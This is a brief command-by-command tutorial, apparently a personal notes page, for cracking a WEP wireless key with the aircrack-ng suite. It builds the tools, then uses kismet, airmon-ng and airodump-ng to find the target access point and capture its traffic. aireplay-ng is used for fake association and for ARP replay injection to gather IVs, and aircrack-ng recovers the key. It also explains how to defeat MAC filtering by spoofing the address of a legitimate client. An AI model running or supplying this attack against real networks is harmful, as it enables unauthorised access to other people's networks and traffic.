Cracking A WEP Key

• Download aircrack-ng source

 svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng

• Change ~/src/aircrack-ng/common.mak:

 CFLAGS          ?= -g -W -Wall -Werror -fno-strict-aliasing -O3

• Compile and install:

 make && sudo make install

• Use kismet to get the channel (11), ESSid (crackme), and BSSid (00:18:4D:85:65:4F) for the access point to be cracked

These tools are fussy about the hex addresses, include all digits and don't use lower case hex digits

• Become root:

 su -

• Put NIC into monitor mode:

 airmon-ng start wlan0

• Start capturing packets:

 airodump-ng -w dumpfile -c 11 -i mon0

New terminal session:

• Associate with the target AP

 /usr/local/sbin/aireplay-ng -1 0 -e crackme -a 00:18:4D:85:65:4F -h 00:01:02:03:04:05 mon0

If that doesn't associate successfully then it may be that they have MAC filtering turned on. Observe the dump output for a while until you see a client associate successfully. Take its MAC address and substitute that for -h.

• Start replaying packets so that we can collect more packets:

 /usr/local/sbin/aireplay-ng -3 -e crackme -a 00:18:4D:85:65:4F -h 00:01:02:03:04:05 mon0

Watch the Data column in the airodump-ng session, we want more than 100,000 unique IV headers.

• Crack the key:

 aircrack-ng dumpfile.ivs